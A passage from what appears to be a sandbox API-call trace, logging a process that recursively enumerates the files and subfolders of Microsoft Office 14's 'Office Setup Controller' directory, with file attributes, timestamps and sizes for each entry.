ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.112] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.112] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0081.112] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.112] GetProcessHeap () returned 0x470000 [0081.112] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.112] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0081.112] GetProcessHeap () returned 0x470000 [0081.112] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.113] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.113] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.113] GetProcessHeap () returned 0x470000 [0081.113] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0081.113] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0081.114] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0081.114] GetProcessHeap () returned 0x470000 [0081.114] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.114] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.114] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0081.114] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.114] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.114] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.114] GetProcessHeap () returned 0x470000 [0081.114] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.114] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0081.115] GetProcessHeap () returned 0x470000 [0081.115] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.115] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0081.115] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.116] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.116] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.116] GetProcessHeap () returned 0x470000 [0081.116] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.116] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0081.116] GetProcessHeap () returned 0x470000 [0081.116] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.128] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.128] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.128] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.129] GetProcessHeap () returned 0x470000 [0081.129] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.129] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0081.129] GetProcessHeap () returned 0x470000 [0081.129] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.130] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.130] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.130] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.131] GetProcessHeap () returned 0x470000 [0081.131] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.131] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0081.131] GetProcessHeap () returned 0x470000 [0081.131] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.132] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.132] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0081.133] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, 